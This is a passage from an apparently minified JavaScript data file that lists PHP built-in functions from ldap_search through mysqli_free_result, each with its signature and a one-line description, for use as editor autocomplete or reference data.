array attrs [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]])\",\"Search LDAP tree under base_dn\"],ldap_set_option:[\"bool ldap_set_option(resource link, int option, mixed newval)\",\"Set the value of various session-wide parameters\"],ldap_set_rebind_proc:[\"bool ldap_set_rebind_proc(resource link, string callback)\",\"Set a callback function to do re-binds on referral chasing.\"],ldap_sort:[\"bool ldap_sort(resource link, resource result, string sortfilter)\",\"Sort LDAP result entries\"],ldap_start_tls:[\"bool ldap_start_tls(resource link)\",\"Start TLS\"],ldap_t61_to_8859:[\"string ldap_t61_to_8859(string value)\",\"Translate t61 characters to 8859 characters\"],ldap_unbind:[\"bool ldap_unbind(resource link)\",\"Unbind from LDAP directory\"],leak:[\"void leak(int num_bytes=3)\",\"Cause an intentional memory leak, for testing/debugging purposes\"],levenshtein:[\"int levenshtein(string str1, string str2[, int cost_ins, int cost_rep, int cost_del])\",\"Calculate Levenshtein distance between two strings\"],libxml_clear_errors:[\"void libxml_clear_errors()\",\"Clear last error from libxml\"],libxml_disable_entity_loader:[\"bool libxml_disable_entity_loader([boolean disable])\",\"Disable/Enable ability to load external entities\"],libxml_get_errors:[\"object libxml_get_errors()\",\"Retrieve array of errors\"],libxml_get_last_error:[\"object libxml_get_last_error()\",\"Retrieve last error from libxml\"],libxml_set_streams_context:[\"void libxml_set_streams_context(resource streams_context)\",\"Set the streams context for the next libxml document load or write\"],libxml_use_internal_errors:[\"bool libxml_use_internal_errors([boolean use_errors])\",\"Disable libxml errors and allow user to fetch error information as needed\"],link:[\"int link(string target, string link)\",\"Create a hard link\"],linkinfo:[\"int linkinfo(string filename)\",\"Returns the st_dev field of the UNIX C stat structure describing the link\"],litespeed_request_headers:[\"array litespeed_request_headers(void)\",\"Fetch all HTTP request headers\"],litespeed_response_headers:[\"array litespeed_response_headers(void)\",\"Fetch all HTTP response headers\"],locale_accept_from_http:[\"string locale_accept_from_http(string $http_accept)\",null],locale_canonicalize:[\"static string locale_canonicalize(Locale $loc, string $locale)\",\"* @param string $locale The locale string to canonicalize\"],locale_filter_matches:[\"boolean locale_filter_matches(string $langtag, string $locale[, bool $canonicalize])\",\"* Checks if a $langtag filter matches with $locale according to RFC 4647's basic filtering algorithm\"],locale_get_all_variants:[\"static array locale_get_all_variants($locale)\",\"* gets an array containing the list of variants, or null\"],locale_get_default:[\"static string locale_get_default( )\",\"Get default locale\"],locale_get_keywords:[\"static array locale_get_keywords(string $locale) {\",\"* return an associative array containing keyword-value  * pairs for this locale. The keys are keys to the array (doh!)\"],locale_get_primary_language:[\"static string locale_get_primary_language($locale)\",\"* gets the primary language for the $locale\"],locale_get_region:[\"static string locale_get_region($locale)\",\"* gets the region for the $locale\"],locale_get_script:[\"static string locale_get_script($locale)\",\"* gets the script for the $locale\"],locale_lookup:[\"string locale_lookup(array $langtag, string $locale[, bool $canonicalize[, string $default = null]])\",\"* Searchs the items in $langtag for the best match to the language * range\"],locale_set_default:[\"static string locale_set_default( string $locale )\",\"Set default locale\"],localeconv:[\"array localeconv(void)\",\"Returns numeric formatting information based on the current locale\"],localtime:[\"array localtime([int timestamp [, bool associative_array]])\",\"Returns the results of the C system call localtime as an associative array if the associative_array argument is set to 1 other wise it is a regular array\"],log:[\"float log(float number, [float base])\",\"Returns the natural logarithm of the number, or the base log if base is specified\"],log10:[\"float log10(float number)\",\"Returns the base-10 logarithm of the number\"],log1p:[\"float log1p(float number)\",\"Returns log(1 + number), computed in a way that accurate even when the value of number is close to zero\"],long2ip:[\"string long2ip(int proper_address)\",\"Converts an (IPv4) Internet network address into a string in Internet standard dotted format\"],lstat:[\"array lstat(string filename)\",\"Give information about a file or symbolic link\"],ltrim:[\"string ltrim(string str [, string character_mask])\",\"Strips whitespace from the beginning of a string\"],mail:[\"int mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]])\",\"Send an email message\"],max:[\"mixed max(mixed arg1 [, mixed arg2 [, mixed ...]])\",\"Return the highest value in an array or a series of arguments\"],mb_check_encoding:[\"bool mb_check_encoding([string var[, string encoding]])\",\"Check if the string is valid for the specified encoding\"],mb_convert_case:[\"string mb_convert_case(string sourcestring, int mode [, string encoding])\",\"Returns a case-folded version of sourcestring\"],mb_convert_encoding:[\"string mb_convert_encoding(string str, string to-encoding [, mixed from-encoding])\",\"Returns converted string in desired encoding\"],mb_convert_kana:[\"string mb_convert_kana(string str [, string option] [, string encoding])\",\"Conversion between full-width character and half-width character (Japanese)\"],mb_convert_variables:[\"string mb_convert_variables(string to-encoding, mixed from-encoding, mixed vars [, ...])\",\"Converts the string resource in variables to desired encoding\"],mb_decode_mimeheader:[\"string mb_decode_mimeheader(string string)\",'Decodes the MIME \"encoded-word\" in the string'],mb_decode_numericentity:[\"string mb_decode_numericentity(string string, array convmap [, string encoding])\",\"Converts HTML numeric entities to character code\"],mb_detect_encoding:[\"string mb_detect_encoding(string str [, mixed encoding_list [, bool strict]])\",\"Encodings of the given string is returned (as a string)\"],mb_detect_order:[\"bool|array mb_detect_order([mixed encoding-list])\",\"Sets the current detect_order or Return the current detect_order as a array\"],mb_encode_mimeheader:[\"string mb_encode_mimeheader(string str [, string charset [, string transfer-encoding [, string linefeed [, int indent]]]])\",'Converts the string to MIME \"encoded-word\" in the format of =?charset?(B|Q)?encoded_string?='],mb_encode_numericentity:[\"string mb_encode_numericentity(string string, array convmap [, string encoding])\",\"Converts specified characters to HTML numeric entities\"],mb_encoding_aliases:[\"array mb_encoding_aliases(string encoding)\",\"Returns an array of the aliases of a given encoding name\"],mb_ereg:[\"int mb_ereg(string pattern, string string [, array registers])\",\"Regular expression match for multibyte string\"],mb_ereg_match:[\"bool mb_ereg_match(string pattern, string string [,string option])\",\"Regular expression match for multibyte string\"],mb_ereg_replace:[\"string mb_ereg_replace(string pattern, string replacement, string string [, string option])\",\"Replace regular expression for multibyte string\"],mb_ereg_search:[\"bool mb_ereg_search([string pattern[, string option]])\",\"Regular expression search for multibyte string\"],mb_ereg_search_getpos:[\"int mb_ereg_search_getpos(void)\",\"Get search start position\"],mb_ereg_search_getregs:[\"array mb_ereg_search_getregs(void)\",\"Get matched substring of the last time\"],mb_ereg_search_init:[\"bool mb_ereg_search_init(string string [, string pattern[, string option]])\",\"Initialize string and regular expression for search.\"],mb_ereg_search_pos:[\"array mb_ereg_search_pos([string pattern[, string option]])\",\"Regular expression search for multibyte string\"],mb_ereg_search_regs:[\"array mb_ereg_search_regs([string pattern[, string option]])\",\"Regular expression search for multibyte string\"],mb_ereg_search_setpos:[\"bool mb_ereg_search_setpos(int position)\",\"Set search start position\"],mb_eregi:[\"int mb_eregi(string pattern, string string [, array registers])\",\"Case-insensitive regular expression match for multibyte string\"],mb_eregi_replace:[\"string mb_eregi_replace(string pattern, string replacement, string string)\",\"Case insensitive replace regular expression for multibyte string\"],mb_get_info:[\"mixed mb_get_info([string type])\",\"Returns the current settings of mbstring\"],mb_http_input:[\"mixed mb_http_input([string type])\",\"Returns the input encoding\"],mb_http_output:[\"string mb_http_output([string encoding])\",\"Sets the current output_encoding or returns the current output_encoding as a string\"],mb_internal_encoding:[\"string mb_internal_encoding([string encoding])\",\"Sets the current internal encoding or Returns the current internal encoding as a string\"],mb_language:[\"string mb_language([string language])\",\"Sets the current language or Returns the current language as a string\"],mb_list_encodings:[\"mixed mb_list_encodings()\",\"Returns an array of all supported entity encodings\"],mb_output_handler:[\"string mb_output_handler(string contents, int status)\",\"Returns string in output buffer converted to the http_output encoding\"],mb_parse_str:[\"bool mb_parse_str(string encoded_string [, array result])\",\"Parses GET/POST/COOKIE data and sets global variables\"],mb_preferred_mime_name:[\"string mb_preferred_mime_name(string encoding)\",\"Return the preferred MIME name (charset) as a string\"],mb_regex_encoding:[\"string mb_regex_encoding([string encoding])\",\"Returns the current encoding for regex as a string.\"],mb_regex_set_options:[\"string mb_regex_set_options([string options])\",\"Set or get the default options for mbregex functions\"],mb_send_mail:[\"int mb_send_mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]])\",\"*  Sends an email message with MIME scheme\"],mb_split:[\"array mb_split(string pattern, string string [, int limit])\",\"split multibyte string into array by regular expression\"],mb_strcut:[\"string mb_strcut(string str, int start [, int length [, string encoding]])\",\"Returns part of a string\"],mb_strimwidth:[\"string mb_strimwidth(string str, int start, int width [, string trimmarker [, string encoding]])\",\"Trim the string in terminal width\"],mb_stripos:[\"int mb_stripos(string haystack, string needle [, int offset [, string encoding]])\",\"Finds position of first occurrence of a string within another, case insensitive\"],mb_stristr:[\"string mb_stristr(string haystack, string needle[, bool part[, string encoding]])\",\"Finds first occurrence of a string within another, case insensitive\"],mb_strlen:[\"int mb_strlen(string str [, string encoding])\",\"Get character numbers of a string\"],mb_strpos:[\"int mb_strpos(string haystack, string needle [, int offset [, string encoding]])\",\"Find position of first occurrence of a string within another\"],mb_strrchr:[\"string mb_strrchr(string haystack, string needle[, bool part[, string encoding]])\",\"Finds the last occurrence of a character in a string within another\"],mb_strrichr:[\"string mb_strrichr(string haystack, string needle[, bool part[, string encoding]])\",\"Finds the last occurrence of a character in a string within another, case insensitive\"],mb_strripos:[\"int mb_strripos(string haystack, string needle [, int offset [, string encoding]])\",\"Finds position of last occurrence of a string within another, case insensitive\"],mb_strrpos:[\"int mb_strrpos(string haystack, string needle [, int offset [, string encoding]])\",\"Find position of last occurrence of a string within another\"],mb_strstr:[\"string mb_strstr(string haystack, string needle[, bool part[, string encoding]])\",\"Finds first occurrence of a string within another\"],mb_strtolower:[\"string mb_strtolower(string sourcestring [, string encoding])\",\"*  Returns a lowercased version of sourcestring\"],mb_strtoupper:[\"string mb_strtoupper(string sourcestring [, string encoding])\",\"*  Returns a uppercased version of sourcestring\"],mb_strwidth:[\"int mb_strwidth(string str [, string encoding])\",\"Gets terminal width of a string\"],mb_substitute_character:[\"mixed mb_substitute_character([mixed substchar])\",\"Sets the current substitute_character or returns the current substitute_character\"],mb_substr:[\"string mb_substr(string str, int start [, int length [, string encoding]])\",\"Returns part of a string\"],mb_substr_count:[\"int mb_substr_count(string haystack, string needle [, string encoding])\",\"Count the number of substring occurrences\"],mcrypt_cbc:[\"string mcrypt_cbc(int cipher, string key, string data, int mode, string iv)\",\"CBC crypt/decrypt data using key key with cipher cipher starting with iv\"],mcrypt_cfb:[\"string mcrypt_cfb(int cipher, string key, string data, int mode, string iv)\",\"CFB crypt/decrypt data using key key with cipher cipher starting with iv\"],mcrypt_create_iv:[\"string mcrypt_create_iv(int size, int source)\",\"Create an initialization vector (IV)\"],mcrypt_decrypt:[\"string mcrypt_decrypt(string cipher, string key, string data, string mode, string iv)\",\"OFB crypt/decrypt data using key key with cipher cipher starting with iv\"],mcrypt_ecb:[\"string mcrypt_ecb(int cipher, string key, string data, int mode, string iv)\",\"ECB crypt/decrypt data using key key with cipher cipher starting with iv\"],mcrypt_enc_get_algorithms_name:[\"string mcrypt_enc_get_algorithms_name(resource td)\",\"Returns the name of the algorithm specified by the descriptor td\"],mcrypt_enc_get_block_size:[\"int mcrypt_enc_get_block_size(resource td)\",\"Returns the block size of the cipher specified by the descriptor td\"],mcrypt_enc_get_iv_size:[\"int mcrypt_enc_get_iv_size(resource td)\",\"Returns the size of the IV in bytes of the algorithm specified by the descriptor td\"],mcrypt_enc_get_key_size:[\"int mcrypt_enc_get_key_size(resource td)\",\"Returns the maximum supported key size in bytes of the algorithm specified by the descriptor td\"],mcrypt_enc_get_modes_name:[\"string mcrypt_enc_get_modes_name(resource td)\",\"Returns the name of the mode specified by the descriptor td\"],mcrypt_enc_get_supported_key_sizes:[\"array mcrypt_enc_get_supported_key_sizes(resource td)\",\"This function decrypts the crypttext\"],mcrypt_enc_is_block_algorithm:[\"bool mcrypt_enc_is_block_algorithm(resource td)\",\"Returns TRUE if the alrogithm is a block algorithms\"],mcrypt_enc_is_block_algorithm_mode:[\"bool mcrypt_enc_is_block_algorithm_mode(resource td)\",\"Returns TRUE if the mode is for use with block algorithms\"],mcrypt_enc_is_block_mode:[\"bool mcrypt_enc_is_block_mode(resource td)\",\"Returns TRUE if the mode outputs blocks\"],mcrypt_enc_self_test:[\"int mcrypt_enc_self_test(resource td)\",\"This function runs the self test on the algorithm specified by the descriptor td\"],mcrypt_encrypt:[\"string mcrypt_encrypt(string cipher, string key, string data, string mode, string iv)\",\"OFB crypt/decrypt data using key key with cipher cipher starting with iv\"],mcrypt_generic:[\"string mcrypt_generic(resource td, string data)\",\"This function encrypts the plaintext\"],mcrypt_generic_deinit:[\"bool mcrypt_generic_deinit(resource td)\",\"This function terminates encrypt specified by the descriptor td\"],mcrypt_generic_init:[\"int mcrypt_generic_init(resource td, string key, string iv)\",\"This function initializes all buffers for the specific module\"],mcrypt_get_block_size:[\"int mcrypt_get_block_size(string cipher, string module)\",\"Get the key size of cipher\"],mcrypt_get_cipher_name:[\"string mcrypt_get_cipher_name(string cipher)\",\"Get the key size of cipher\"],mcrypt_get_iv_size:[\"int mcrypt_get_iv_size(string cipher, string module)\",\"Get the IV size of cipher (Usually the same as the blocksize)\"],mcrypt_get_key_size:[\"int mcrypt_get_key_size(string cipher, string module)\",\"Get the key size of cipher\"],mcrypt_list_algorithms:[\"array mcrypt_list_algorithms([string lib_dir])\",'List all algorithms in \"module_dir\"'],mcrypt_list_modes:[\"array mcrypt_list_modes([string lib_dir])\",'List all modes \"module_dir\"'],mcrypt_module_close:[\"bool mcrypt_module_close(resource td)\",\"Free the descriptor td\"],mcrypt_module_get_algo_block_size:[\"int mcrypt_module_get_algo_block_size(string algorithm [, string lib_dir])\",\"Returns the block size of the algorithm\"],mcrypt_module_get_algo_key_size:[\"int mcrypt_module_get_algo_key_size(string algorithm [, string lib_dir])\",\"Returns the maximum supported key size of the algorithm\"],mcrypt_module_get_supported_key_sizes:[\"array mcrypt_module_get_supported_key_sizes(string algorithm [, string lib_dir])\",\"This function decrypts the crypttext\"],mcrypt_module_is_block_algorithm:[\"bool mcrypt_module_is_block_algorithm(string algorithm [, string lib_dir])\",\"Returns TRUE if the algorithm is a block algorithm\"],mcrypt_module_is_block_algorithm_mode:[\"bool mcrypt_module_is_block_algorithm_mode(string mode [, string lib_dir])\",\"Returns TRUE if the mode is for use with block algorithms\"],mcrypt_module_is_block_mode:[\"bool mcrypt_module_is_block_mode(string mode [, string lib_dir])\",\"Returns TRUE if the mode outputs blocks of bytes\"],mcrypt_module_open:[\"resource mcrypt_module_open(string cipher, string cipher_directory, string mode, string mode_directory)\",\"Opens the module of the algorithm and the mode to be used\"],mcrypt_module_self_test:[\"bool mcrypt_module_self_test(string algorithm [, string lib_dir])\",'Does a self test of the module \"module\"'],mcrypt_ofb:[\"string mcrypt_ofb(int cipher, string key, string data, int mode, string iv)\",\"OFB crypt/decrypt data using key key with cipher cipher starting with iv\"],md5:[\"string md5(string str, [ bool raw_output])\",\"Calculate the md5 hash of a string\"],md5_file:[\"string md5_file(string filename [, bool raw_output])\",\"Calculate the md5 hash of given filename\"],mdecrypt_generic:[\"string mdecrypt_generic(resource td, string data)\",\"This function decrypts the plaintext\"],memory_get_peak_usage:[\"int memory_get_peak_usage([real_usage])\",\"Returns the peak allocated by PHP memory\"],memory_get_usage:[\"int memory_get_usage([real_usage])\",\"Returns the allocated by PHP memory\"],metaphone:[\"string metaphone(string text[, int phones])\",\"Break english phrases down into their phonemes\"],method_exists:[\"bool method_exists(object object, string method)\",\"Checks if the class method exists\"],mhash:[\"string mhash(int hash, string data [, string key])\",\"Hash data with hash\"],mhash_count:[\"int mhash_count(void)\",\"Gets the number of available hashes\"],mhash_get_block_size:[\"int mhash_get_block_size(int hash)\",\"Gets the block size of hash\"],mhash_get_hash_name:[\"string mhash_get_hash_name(int hash)\",\"Gets the name of hash\"],mhash_keygen_s2k:[\"string mhash_keygen_s2k(int hash, string input_password, string salt, int bytes)\",\"Generates a key using hash functions\"],microtime:[\"mixed microtime([bool get_as_float])\",\"Returns either a string or a float containing the current time in seconds and microseconds\"],mime_content_type:[\"string mime_content_type(string filename|resource stream)\",\"Return content-type for file\"],min:[\"mixed min(mixed arg1 [, mixed arg2 [, mixed ...]])\",\"Return the lowest value in an array or a series of arguments\"],mkdir:[\"bool mkdir(string pathname [, int mode [, bool recursive [, resource context]]])\",\"Create a directory\"],mktime:[\"int mktime([int hour [, int min [, int sec [, int mon [, int day [, int year]]]]]])\",\"Get UNIX timestamp for a date\"],money_format:[\"string money_format(string format , float value)\",\"Convert monetary value(s) to string\"],move_uploaded_file:[\"bool move_uploaded_file(string path, string new_path)\",\"Move a file if and only if it was created by an upload\"],msg_get_queue:[\"resource msg_get_queue(int key [, int perms])\",\"Attach to a message queue\"],msg_queue_exists:[\"bool msg_queue_exists(int key)\",\"Check wether a message queue exists\"],msg_receive:[\"mixed msg_receive(resource queue, int desiredmsgtype, int &msgtype, int maxsize, mixed message [, bool unserialize=true [, int flags=0 [, int errorcode]]])\",\"Send a message of type msgtype (must be > 0) to a message queue\"],msg_remove_queue:[\"bool msg_remove_queue(resource queue)\",\"Destroy the queue\"],msg_send:[\"bool msg_send(resource queue, int msgtype, mixed message [, bool serialize=true [, bool blocking=true [, int errorcode]]])\",\"Send a message of type msgtype (must be > 0) to a message queue\"],msg_set_queue:[\"bool msg_set_queue(resource queue, array data)\",\"Set information for a message queue\"],msg_stat_queue:[\"array msg_stat_queue(resource queue)\",\"Returns information about a message queue\"],msgfmt_create:[\"MessageFormatter msgfmt_create( string $locale, string $pattern )\",\"* Create formatter.\"],msgfmt_format:[\"mixed msgfmt_format( MessageFormatter $nf, array $args )\",\"* Format a message.\"],msgfmt_format_message:[\"mixed msgfmt_format_message( string $locale, string $pattern, array $args )\",\"* Format a message.\"],msgfmt_get_error_code:[\"int msgfmt_get_error_code( MessageFormatter $nf )\",\"* Get formatter's last error code.\"],msgfmt_get_error_message:[\"string msgfmt_get_error_message( MessageFormatter $coll )\",\"* Get text description for formatter's last error code.\"],msgfmt_get_locale:[\"string msgfmt_get_locale(MessageFormatter $mf)\",\"* Get formatter locale.\"],msgfmt_get_pattern:[\"string msgfmt_get_pattern( MessageFormatter $mf )\",\"* Get formatter pattern.\"],msgfmt_parse:[\"array msgfmt_parse( MessageFormatter $nf, string $source )\",\"* Parse a message.\"],msgfmt_set_pattern:[\"bool msgfmt_set_pattern( MessageFormatter $mf, string $pattern )\",\"* Set formatter pattern.\"],mssql_bind:[\"bool mssql_bind(resource stmt, string param_name, mixed var, int type [, bool is_output [, bool is_null [, int maxlen]]])\",\"Adds a parameter to a stored procedure or a remote stored procedure\"],mssql_close:[\"bool mssql_close([resource conn_id])\",\"Closes a connection to a MS-SQL server\"],mssql_connect:[\"int mssql_connect([string servername [, string username [, string password [, bool new_link]]]])\",\"Establishes a connection to a MS-SQL server\"],mssql_data_seek:[\"bool mssql_data_seek(resource result_id, int offset)\",\"Moves the internal row pointer of the MS-SQL result associated with the specified result identifier to pointer to the specified row number\"],mssql_execute:[\"mixed mssql_execute(resource stmt [, bool skip_results = false])\",\"Executes a stored procedure on a MS-SQL server database\"],mssql_fetch_array:[\"array mssql_fetch_array(resource result_id [, int result_type])\",\"Returns an associative array of the current row in the result set specified by result_id\"],mssql_fetch_assoc:[\"array mssql_fetch_assoc(resource result_id)\",\"Returns an associative array of the current row in the result set specified by result_id\"],mssql_fetch_batch:[\"int mssql_fetch_batch(resource result_index)\",\"Returns the next batch of records\"],mssql_fetch_field:[\"object mssql_fetch_field(resource result_id [, int offset])\",\"Gets information about certain fields in a query result\"],mssql_fetch_object:[\"object mssql_fetch_object(resource result_id)\",\"Returns a pseudo-object of the current row in the result set specified by result_id\"],mssql_fetch_row:[\"array mssql_fetch_row(resource result_id)\",\"Returns an array of the current row in the result set specified by result_id\"],mssql_field_length:[\"int mssql_field_length(resource result_id [, int offset])\",\"Get the length of a MS-SQL field\"],mssql_field_name:[\"string mssql_field_name(resource result_id [, int offset])\",\"Returns the name of the field given by offset in the result set given by result_id\"],mssql_field_seek:[\"bool mssql_field_seek(resource result_id, int offset)\",\"Seeks to the specified field offset\"],mssql_field_type:[\"string mssql_field_type(resource result_id [, int offset])\",\"Returns the type of a field\"],mssql_free_result:[\"bool mssql_free_result(resource result_index)\",\"Free a MS-SQL result index\"],mssql_free_statement:[\"bool mssql_free_statement(resource result_index)\",\"Free a MS-SQL statement index\"],mssql_get_last_message:[\"string mssql_get_last_message(void)\",\"Gets the last message from the MS-SQL server\"],mssql_guid_string:[\"string mssql_guid_string(string binary [,bool short_format])\",\"Converts a 16 byte binary GUID to a string\"],mssql_init:[\"int mssql_init(string sp_name [, resource conn_id])\",\"Initializes a stored procedure or a remote stored procedure\"],mssql_min_error_severity:[\"void mssql_min_error_severity(int severity)\",\"Sets the lower error severity\"],mssql_min_message_severity:[\"void mssql_min_message_severity(int severity)\",\"Sets the lower message severity\"],mssql_next_result:[\"bool mssql_next_result(resource result_id)\",\"Move the internal result pointer to the next result\"],mssql_num_fields:[\"int mssql_num_fields(resource mssql_result_index)\",\"Returns the number of fields fetched in from the result id specified\"],mssql_num_rows:[\"int mssql_num_rows(resource mssql_result_index)\",\"Returns the number of rows fetched in from the result id specified\"],mssql_pconnect:[\"int mssql_pconnect([string servername [, string username [, string password [, bool new_link]]]])\",\"Establishes a persistent connection to a MS-SQL server\"],mssql_query:[\"resource mssql_query(string query [, resource conn_id [, int batch_size]])\",\"Perform an SQL query on a MS-SQL server database\"],mssql_result:[\"string mssql_result(resource result_id, int row, mixed field)\",\"Returns the contents of one cell from a MS-SQL result set\"],mssql_rows_affected:[\"int mssql_rows_affected(resource conn_id)\",\"Returns the number of records affected by the query\"],mssql_select_db:[\"bool mssql_select_db(string database_name [, resource conn_id])\",\"Select a MS-SQL database\"],mt_getrandmax:[\"int mt_getrandmax(void)\",\"Returns the maximum value a random number from Mersenne Twister can have\"],mt_rand:[\"int mt_rand([int min, int max])\",\"Returns a random number from Mersenne Twister\"],mt_srand:[\"void mt_srand([int seed])\",\"Seeds Mersenne Twister random number generator\"],mysql_affected_rows:[\"int mysql_affected_rows([int link_identifier])\",\"Gets number of affected rows in previous MySQL operation\"],mysql_client_encoding:[\"string mysql_client_encoding([int link_identifier])\",\"Returns the default character set for the current connection\"],mysql_close:[\"bool mysql_close([int link_identifier])\",\"Close a MySQL connection\"],mysql_connect:[\"resource mysql_connect([string hostname[:port][:/path/to/socket] [, string username [, string password [, bool new [, int flags]]]]])\",\"Opens a connection to a MySQL Server\"],mysql_create_db:[\"bool mysql_create_db(string database_name [, int link_identifier])\",\"Create a MySQL database\"],mysql_data_seek:[\"bool mysql_data_seek(resource result, int row_number)\",\"Move internal result pointer\"],mysql_db_query:[\"resource mysql_db_query(string database_name, string query [, int link_identifier])\",\"Sends an SQL query to MySQL\"],mysql_drop_db:[\"bool mysql_drop_db(string database_name [, int link_identifier])\",\"Drops (delete) a MySQL database\"],mysql_errno:[\"int mysql_errno([int link_identifier])\",\"Returns the number of the error message from previous MySQL operation\"],mysql_error:[\"string mysql_error([int link_identifier])\",\"Returns the text of the error message from previous MySQL operation\"],mysql_escape_string:[\"string mysql_escape_string(string to_be_escaped)\",\"Escape string for mysql query\"],mysql_fetch_array:[\"array mysql_fetch_array(resource result [, int result_type])\",\"Fetch a result row as an array (associative, numeric or both)\"],mysql_fetch_assoc:[\"array mysql_fetch_assoc(resource result)\",\"Fetch a result row as an associative array\"],mysql_fetch_field:[\"object mysql_fetch_field(resource result [, int field_offset])\",\"Gets column information from a result and return as an object\"],mysql_fetch_lengths:[\"array mysql_fetch_lengths(resource result)\",\"Gets max data size of each column in a result\"],mysql_fetch_object:[\"object mysql_fetch_object(resource result [, string class_name [, NULL|array ctor_params]])\",\"Fetch a result row as an object\"],mysql_fetch_row:[\"array mysql_fetch_row(resource result)\",\"Gets a result row as an enumerated array\"],mysql_field_flags:[\"string mysql_field_flags(resource result, int field_offset)\",\"Gets the flags associated with the specified field in a result\"],mysql_field_len:[\"int mysql_field_len(resource result, int field_offset)\",\"Returns the length of the specified field\"],mysql_field_name:[\"string mysql_field_name(resource result, int field_index)\",\"Gets the name of the specified field in a result\"],mysql_field_seek:[\"bool mysql_field_seek(resource result, int field_offset)\",\"Sets result pointer to a specific field offset\"],mysql_field_table:[\"string mysql_field_table(resource result, int field_offset)\",\"Gets name of the table the specified field is in\"],mysql_field_type:[\"string mysql_field_type(resource result, int field_offset)\",\"Gets the type of the specified field in a result\"],mysql_free_result:[\"bool mysql_free_result(resource result)\",\"Free result memory\"],mysql_get_client_info:[\"string mysql_get_client_info(void)\",\"Returns a string that represents the client library version\"],mysql_get_host_info:[\"string mysql_get_host_info([int link_identifier])\",\"Returns a string describing the type of connection in use, including the server host name\"],mysql_get_proto_info:[\"int mysql_get_proto_info([int link_identifier])\",\"Returns the protocol version used by current connection\"],mysql_get_server_info:[\"string mysql_get_server_info([int link_identifier])\",\"Returns a string that represents the server version number\"],mysql_info:[\"string mysql_info([int link_identifier])\",\"Returns a string containing information about the most recent query\"],mysql_insert_id:[\"int mysql_insert_id([int link_identifier])\",\"Gets the ID generated from the previous INSERT operation\"],mysql_list_dbs:[\"resource mysql_list_dbs([int link_identifier])\",\"List databases available on a MySQL server\"],mysql_list_fields:[\"resource mysql_list_fields(string database_name, string table_name [, int link_identifier])\",\"List MySQL result fields\"],mysql_list_processes:[\"resource mysql_list_processes([int link_identifier])\",\"Returns a result set describing the current server threads\"],mysql_list_tables:[\"resource mysql_list_tables(string database_name [, int link_identifier])\",\"List tables in a MySQL database\"],mysql_num_fields:[\"int mysql_num_fields(resource result)\",\"Gets number of fields in a result\"],mysql_num_rows:[\"int mysql_num_rows(resource result)\",\"Gets number of rows in a result\"],mysql_pconnect:[\"resource mysql_pconnect([string hostname[:port][:/path/to/socket] [, string username [, string password [, int flags]]]])\",\"Opens a persistent connection to a MySQL Server\"],mysql_ping:[\"bool mysql_ping([int link_identifier])\",\"Ping a server connection. If no connection then reconnect.\"],mysql_query:[\"resource mysql_query(string query [, int link_identifier])\",\"Sends an SQL query to MySQL\"],mysql_real_escape_string:[\"string mysql_real_escape_string(string to_be_escaped [, int link_identifier])\",\"Escape special characters in a string for use in a SQL statement, taking into account the current charset of the connection\"],mysql_result:[\"mixed mysql_result(resource result, int row [, mixed field])\",\"Gets result data\"],mysql_select_db:[\"bool mysql_select_db(string database_name [, int link_identifier])\",\"Selects a MySQL database\"],mysql_set_charset:[\"bool mysql_set_charset(string csname [, int link_identifier])\",\"sets client character set\"],mysql_stat:[\"string mysql_stat([int link_identifier])\",\"Returns a string containing status information\"],mysql_thread_id:[\"int mysql_thread_id([int link_identifier])\",\"Returns the thread id of current connection\"],mysql_unbuffered_query:[\"resource mysql_unbuffered_query(string query [, int link_identifier])\",\"Sends an SQL query to MySQL, without fetching and buffering the result rows\"],mysqli_affected_rows:[\"mixed mysqli_affected_rows(object link)\",\"Get number of affected rows in previous MySQL operation\"],mysqli_autocommit:[\"bool mysqli_autocommit(object link, bool mode)\",\"Turn auto commit on or of\"],mysqli_cache_stats:[\"array mysqli_cache_stats(void)\",\"Returns statistics about the zval cache\"],mysqli_change_user:[\"bool mysqli_change_user(object link, string user, string password, string database)\",\"Change logged-in user of the active connection\"],mysqli_character_set_name:[\"string mysqli_character_set_name(object link)\",\"Returns the name of the character set used for this connection\"],mysqli_close:[\"bool mysqli_close(object link)\",\"Close connection\"],mysqli_commit:[\"bool mysqli_commit(object link)\",\"Commit outstanding actions and close transaction\"],mysqli_connect:[\"object mysqli_connect([string hostname [,string username [,string passwd [,string dbname [,int port [,string socket]]]]]])\",\"Open a connection to a mysql server\"],mysqli_connect_errno:[\"int mysqli_connect_errno(void)\",\"Returns the numerical value of the error message from last connect command\"],mysqli_connect_error:[\"string mysqli_connect_error(void)\",\"Returns the text of the error message from previous MySQL operation\"],mysqli_data_seek:[\"bool mysqli_data_seek(object result, int offset)\",\"Move internal result pointer\"],mysqli_debug:[\"void mysqli_debug(string debug)\",\"\"],mysqli_dump_debug_info:[\"bool mysqli_dump_debug_info(object link)\",\"\"],mysqli_embedded_server_end:[\"void mysqli_embedded_server_end(void)\",\"\"],mysqli_embedded_server_start:[\"bool mysqli_embedded_server_start(bool start, array arguments, array groups)\",\"initialize and start embedded server\"],mysqli_errno:[\"int mysqli_errno(object link)\",\"Returns the numerical value of the error message from previous MySQL operation\"],mysqli_error:[\"string mysqli_error(object link)\",\"Returns the text of the error message from previous MySQL operation\"],mysqli_fetch_all:[\"mixed mysqli_fetch_all (object result [,int resulttype])\",\"Fetches all result rows as an associative array, a numeric array, or both\"],mysqli_fetch_array:[\"mixed mysqli_fetch_array (object result [,int resulttype])\",\"Fetch a result row as an associative array, a numeric array, or both\"],mysqli_fetch_assoc:[\"mixed mysqli_fetch_assoc (object result)\",\"Fetch a result row as an associative array\"],mysqli_fetch_field:[\"mixed mysqli_fetch_field (object result)\",\"Get column information from a result and return as an object\"],mysqli_fetch_field_direct:[\"mixed mysqli_fetch_field_direct (object result, int offset)\",\"Fetch meta-data for a single field\"],mysqli_fetch_fields:[\"mixed mysqli_fetch_fields (object result)\",\"Return array of objects containing field meta-data\"],mysqli_fetch_lengths:[\"mixed mysqli_fetch_lengths (object result)\",\"Get the length of each output in a result\"],mysqli_fetch_object:[\"mixed mysqli_fetch_object (object result [, string class_name [, NULL|array ctor_params]])\",\"Fetch a result row as an object\"],mysqli_fetch_row:[\"array mysqli_fetch_row (object result)\",\"Get a result row as an enumerated array\"],mysqli_field_count:[\"int mysqli_field_count(object link)\",\"Fetch the number of fields returned by the last query for the given link\"],mysqli_field_seek:[\"int mysqli_field_seek(object result, int fieldnr)\",\"Set result pointer to a specified field offset\"],mysqli_field_tell:[\"int mysqli_field_tell(object result)\",\"Get current field offset of result pointer\"],mysqli_free_result:[\"void mysqli_free_result(object 